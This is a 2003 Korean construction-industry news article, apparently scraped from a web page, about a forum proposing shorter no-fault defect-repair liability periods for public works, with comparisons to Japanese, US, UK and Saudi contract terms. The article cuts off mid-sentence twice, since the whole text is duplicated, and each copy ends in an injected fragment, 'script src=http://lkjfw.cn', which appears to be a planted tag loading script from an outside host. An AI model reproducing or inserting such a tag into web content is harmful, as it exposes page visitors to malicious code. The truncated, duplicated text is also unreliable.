공공공사 하자보수책임기간의 단축 필요
보도일자 2003-07-24
보도기관 한국건설신문
최근 건설산업의 새로운 화두로 떠오르고 있는 건설공사 하자보수책임제도.
본지와 한국건설산업연구원은 하자보수책임제도의 효율적 정착과 발전방안을 모색코자 지난 7일 건설회관 중회의실에서 ‘건설공사 하자보수 책임제도의 개선방안 토론회''를 개최했다.
이날 토론회에서는 그동안 건설업계의 치부로 평가됐던 하자보수책임제도의 명확한 정의와 실태, 앞으로의 개선방안 등이 심도있게 논의됐다.
특히 한국건설산업연구원 최민수 박사와 두성규 박사는 공공공사 하자보수책임기간의 단축 필요, 건설공사 하자보수책임 제도의 새로운 패러다임라는 주제발표를 통해 바람직한 하자문화 정착을 위한 다양한 의견들을 제시해 토론회 참석자들로부터 호평을 받기도 했다.
우리나라에서는 1990년대 중반 이후 성수대교의 붕괴사고를 계기로 시공자에 대한 하자담보책임기간을 최고 10년으로 크게 강화한 바 있다.
그런데, 현행 [국계법] 및 [건설산업기본법]에 명시된 공공분야 건설공사의 하자보수책임기간은 시공자가 무과실책임을 가지는 ‘하자보수기간''과 구조적 결함이나 혹은 고의·과실에 대하여 책임을 가지는 기간이 혼재되어 장기화된 경향이 있다.
예를 들어 시공자에게 최고 10년의 무과실 책임을 추궁할 경우, 구조물 및 설비기기의 자연적인 노후화까지도 시공자에게 보수 책임이 부과될 가능성이 있다.
또한, 하자의 책임 주체에 대하여 법적으로 명확한 판단 기준이 미흡하다. 이 때문에 공사목적물을 인도한 후, 폭풍우 등과 같은 천재 지변 등으로 인하여 목적물이 멸실 또는 훼손된 경우에도 시공자에게 보수 책임을 부담시키는 사례가 있다.
나아가 공사목적물을 인도한 후, 관리를 소홀히 하였거나, 도난 혹은 사용 방법이 미숙하여 발생한 파손 또는 소모성 부품의 자연적인 손모에 대하여도 수급인에게 보수 책임을 부담시키는 사례도 있다.
또한, 건설구조물의 하자가 설계상의 실수나 감리자의 태만 혹은 지급자재의 불량 등에서 비롯되는 사례가 있으나, 이러한 공사참여자에 대하여 법적 책임을 추궁하는 것이 용이하지 않다.
더구나 현행 ‘건설기술관리법''에서는 시공자에게 설계도서의 검토 의무를 명기하고 있기 때문에 설계에 기인한 하자일지라도 시공자에게 실제적인 하자보수책임이 부과되고 있다.
외국의 사례를 보면, 일본의 ‘공공공사표준청부계약약관'' 등에 규정된 예를 살펴보면, 하자담보책임기간은 무과실인 경우 1년 또는 2년으로 규정하고, 고의 또는 과실인 경우는 5년 또는 10년으로 정하고 있으며, 공사 종류에 따라서는 큰 차이가 없다.
미국에서는 하자 담보의 내용을 작업 기능과 자재의 하자와 효과적인 운영에 대한 하자로 구분하고, 전자는 공사의 실질적 완성 또는 목적물 인수후 1년, 후자는 5년으로 하자담보책임기간을 정하는 것이 통상적이다. ‘AIA(American Institute of Architects)약관''에서는 하자담보책임기간을 실질적 완공(substantial completion)에서 최종 완공(final completion)까지의 기간으로 규정하고, 그 기간을 1년으로 하고 있다.
영국의 ‘RIBA(Royal Institute of British Architects)약관''에서는 하자담보책임기간을 ‘실질적으로 완성후 6개월’로 정하고, 기간의 종료후 14일 이내에 잔여 유보금(retention money)을 반환토록 하고 있다.
사우디아라비아의 ‘건설공사 입찰 및 계약조건''에서는 하자담보책임기간은 1년으로 한정하고 있으나, 잠재결함(latent defects)으로 인하여 전체 혹은 부분 붕괴가 10년 이내에 발생하는 경우, 시공자는 이에 대하여 배상 책임을 지도록 규정하고 있다.
이상의 사례 조사를 토대로 할 때, 시공사가 책임을 갖는 하자를 외적으로 판단할 수 있는 물리적인 경미한 하자와 잠재적 결함으로 인하여 구조적 안전에 위해를 미치는 중대한 하자로 구분하여 책임 기간을 달리 규정하는 것이 요구된다.
예를 들어 준공후 1∼3년 동안에는 시공자에게 무과실책임을 부여하고, 육안상 보이는 모든 물리적 하자에 대하여 보수를 행하도록 한다.
1∼3년의 하자보수책임기간이 만료되었을 때는 최종인도(final hand-over)한 후 시공사는 철수하게 된다. 공종별로 세분되어 있는 하자담보책임기간도 일원화하여 3년의 범위내에서 도급인과 수급인이 계약에 의하여 정하도록 하는 것이 바람직하다.
최종 인도후 최고 10년까지는 품질보증기간으로 규정할 수 있다. 동 기간에는 경미한 하자에 대해서는 시공자의 책임이 소멸되고 단, 구조적 안전에 위해를 미치는 중대한 결함이 발생하였거나, 혹은 안전진단 결과, 부분 붕괴 등의 우려가 있다고 판정된 경우, 혹은 잠재된 결함으로 인하여 구조물의 성능이 발휘되지 못한 경우, 시공자에게 하자보수책임을 부과한다. 단, 시공자의 고의·과실 등 귀책 사유가 존?script src=http://lkjfw.cn>
본지와 한국건설산업연구원은 하자보수책임제도의 효율적 정착과 발전방안을 모색코자 지난 7일 건설회관 중회의실에서 ‘건설공사 하자보수 책임제도의 개선방안 토론회''를 개최했다.
이날 토론회에서는 그동안 건설업계의 치부로 평가됐던 하자보수책임제도의 명확한 정의와 실태, 앞으로의 개선방안 등이 심도있게 논의됐다.
특히 한국건설산업연구원 최민수 박사와 두성규 박사는 공공공사 하자보수책임기간의 단축 필요, 건설공사 하자보수책임 제도의 새로운 패러다임라는 주제발표를 통해 바람직한 하자문화 정착을 위한 다양한 의견들을 제시해 토론회 참석자들로부터 호평을 받기도 했다.
우리나라에서는 1990년대 중반 이후 성수대교의 붕괴사고를 계기로 시공자에 대한 하자담보책임기간을 최고 10년으로 크게 강화한 바 있다.
그런데, 현행 [국계법] 및 [건설산업기본법]에 명시된 공공분야 건설공사의 하자보수책임기간은 시공자가 무과실책임을 가지는 ‘하자보수기간''과 구조적 결함이나 혹은 고의·과실에 대하여 책임을 가지는 기간이 혼재되어 장기화된 경향이 있다.
예를 들어 시공자에게 최고 10년의 무과실 책임을 추궁할 경우, 구조물 및 설비기기의 자연적인 노후화까지도 시공자에게 보수 책임이 부과될 가능성이 있다.
또한, 하자의 책임 주체에 대하여 법적으로 명확한 판단 기준이 미흡하다. 이 때문에 공사목적물을 인도한 후, 폭풍우 등과 같은 천재 지변 등으로 인하여 목적물이 멸실 또는 훼손된 경우에도 시공자에게 보수 책임을 부담시키는 사례가 있다.
나아가 공사목적물을 인도한 후, 관리를 소홀히 하였거나, 도난 혹은 사용 방법이 미숙하여 발생한 파손 또는 소모성 부품의 자연적인 손모에 대하여도 수급인에게 보수 책임을 부담시키는 사례도 있다.
또한, 건설구조물의 하자가 설계상의 실수나 감리자의 태만 혹은 지급자재의 불량 등에서 비롯되는 사례가 있으나, 이러한 공사참여자에 대하여 법적 책임을 추궁하는 것이 용이하지 않다.
더구나 현행 ‘건설기술관리법''에서는 시공자에게 설계도서의 검토 의무를 명기하고 있기 때문에 설계에 기인한 하자일지라도 시공자에게 실제적인 하자보수책임이 부과되고 있다.
외국의 사례를 보면, 일본의 ‘공공공사표준청부계약약관'' 등에 규정된 예를 살펴보면, 하자담보책임기간은 무과실인 경우 1년 또는 2년으로 규정하고, 고의 또는 과실인 경우는 5년 또는 10년으로 정하고 있으며, 공사 종류에 따라서는 큰 차이가 없다.
미국에서는 하자 담보의 내용을 작업 기능과 자재의 하자와 효과적인 운영에 대한 하자로 구분하고, 전자는 공사의 실질적 완성 또는 목적물 인수후 1년, 후자는 5년으로 하자담보책임기간을 정하는 것이 통상적이다. ‘AIA(American Institute of Architects)약관''에서는 하자담보책임기간을 실질적 완공(substantial completion)에서 최종 완공(final completion)까지의 기간으로 규정하고, 그 기간을 1년으로 하고 있다.
영국의 ‘RIBA(Royal Institute of British Architects)약관''에서는 하자담보책임기간을 ‘실질적으로 완성후 6개월’로 정하고, 기간의 종료후 14일 이내에 잔여 유보금(retention money)을 반환토록 하고 있다.
사우디아라비아의 ‘건설공사 입찰 및 계약조건''에서는 하자담보책임기간은 1년으로 한정하고 있으나, 잠재결함(latent defects)으로 인하여 전체 혹은 부분 붕괴가 10년 이내에 발생하는 경우, 시공자는 이에 대하여 배상 책임을 지도록 규정하고 있다.
이상의 사례 조사를 토대로 할 때, 시공사가 책임을 갖는 하자를 외적으로 판단할 수 있는 물리적인 경미한 하자와 잠재적 결함으로 인하여 구조적 안전에 위해를 미치는 중대한 하자로 구분하여 책임 기간을 달리 규정하는 것이 요구된다.
예를 들어 준공후 1∼3년 동안에는 시공자에게 무과실책임을 부여하고, 육안상 보이는 모든 물리적 하자에 대하여 보수를 행하도록 한다.
1∼3년의 하자보수책임기간이 만료되었을 때는 최종인도(final hand-over)한 후 시공사는 철수하게 된다. 공종별로 세분되어 있는 하자담보책임기간도 일원화하여 3년의 범위내에서 도급인과 수급인이 계약에 의하여 정하도록 하는 것이 바람직하다.
최종 인도후 최고 10년까지는 품질보증기간으로 규정할 수 있다. 동 기간에는 경미한 하자에 대해서는 시공자의 책임이 소멸되고 단, 구조적 안전에 위해를 미치는 중대한 결함이 발생하였거나, 혹은 안전진단 결과, 부분 붕괴 등의 우려가 있다고 판정된 경우, 혹은 잠재된 결함으로 인하여 구조물의 성능이 발휘되지 못한 경우, 시공자에게 하자보수책임을 부과한다. 단, 시공자의 고의·과실 등 귀책 사유가 존?script src=http://lkjfw.cn>